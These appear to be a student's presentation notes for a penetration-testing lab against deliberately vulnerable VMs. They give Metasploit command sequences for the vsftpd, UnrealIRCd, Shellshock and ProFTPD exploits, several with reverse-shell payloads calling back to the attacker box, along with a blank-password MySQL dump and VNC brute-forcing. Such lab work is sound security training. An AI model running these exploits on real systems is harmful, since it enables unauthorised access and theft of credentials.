The presentation follows on from the report. The report had 4 sections, the presentation is effectively sections 5 and 6.
This recording encompasses the activities taken throughout.
First, find the IP of the Kali box and the network subnet range.
Then, discover devices on the subnet.
Ran an OpenVAS analysis on the whole network, took 3 hours.
A deep nmap scan of one target device - Metasploitable2
A total of 8 vulnerabilities were exploited, 6 gained root. This exploits a backdoor in vsftpd v2.3.4
```bash search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.4 exploit ```
The exploit leverages a scanning module in Metasploit.
```bash use auxiliary/scanner/smb/smb_version set RHOSTS 10.0.2.4 run ```
A backdoor exploitation.
```bash use exploit/unix/irc/unreal_ircd_3281_backdoor show options show payloads set payload cmd/unix/reverse show options set rhosts 10.0.2.4 set lhost 10.0.2.15 exploit ```
A different type of exploit. The vulnerability is in the poor configuration of MySQl, in that the password for 'root' is blank!
```MySQL SHOW DATABASES; USE tikiwiki195; SHOW TABLES; SELECT * FROM tiki_users; ```
A password scanner module was used and access gained. Password was set, but weak and predictable, 'password'
```bash search vnc login use auxiliary/scanner/vnc/vnc_login set RHOSTS 10.0.2.4 exploit vncviewer 10.0.2.4 ```
Telnet traffic is sent in plan text & unencrypted, it should not be used. In this case, default password was used.
A vulnerability in this version of Apache allowed a remote code execution. This enabled a reverse TCP connection to be established. Known as 'ShellShock'
```bash # Establish current status: local user on Kali machine whoami pwd uname -a # pause 1:38 # 98 - current user and machine details identified # NIST Phase 2: Discovery # Find information about the current network: address range ip addr | awk '$1=="inet" && $3!="scope" {print $2}' # pause 2:27 # 147 - IP address and subnet range found # Find Target machines on the network nmap -sn -oA nmap-subnet 10.0.2.1/24 grep Up nmap-subnet.gnmap | cut -d " " -f 2 # pause 3:52 # 232 - Found target machines on the network # -sn: ping scan # -oA: output all formats # Target machine established. Gather information about the target machine. sudo nmap -AO -sV -sS 10.0.2.6 # pause 3:59 # 239 - A deeper scan, on the target machine # -sS: TCP SYN scan # -sV: service version detection # -AO: OS detection # open ports found, services listed, software versions identified # target: Apache # pause 4:02 # 242 - Open ports and services found, versions identified. Target: Apache. # NIST Phase 3: Attack # start Metasploit msfconsole # pause 5:17 # 317 - Metasploit started, search for Apache exploit search apache search apache bash use 6 show options # pause 5:59 # 359 - result 6 looks good, select it and show options set RHOSTS 10.0.2.6 set TARGETURI /cgi-bin/hello_world.sh exploit # Now established a meterpreter shell as a user on the target machine # pause 6:33 # 393 - exploit appears to be successful, a session has been started sysinfo getuid # pause 7:08 # 428 - note "Ubuntu 14.04 (Linux 3.13.0-24-generic)" ```
This version pf ProFTPD enables a remote code execution, enabling a payload to set up a reverse connection back to the Kali box
```bash msfconsole search proftpd 1.3.5 use exploit/unix/ftp/proftpd_modcopy_exec set payload payload/cmd/unix/reverse_python show options set SITEPATH /var/www/html set RHOSTS 10.0.2.6 set LHOST 10.0.2.15 run ```
These are tactical countermeasures, quick wins.
These are changes are strategic, requiring planning, resources, budget.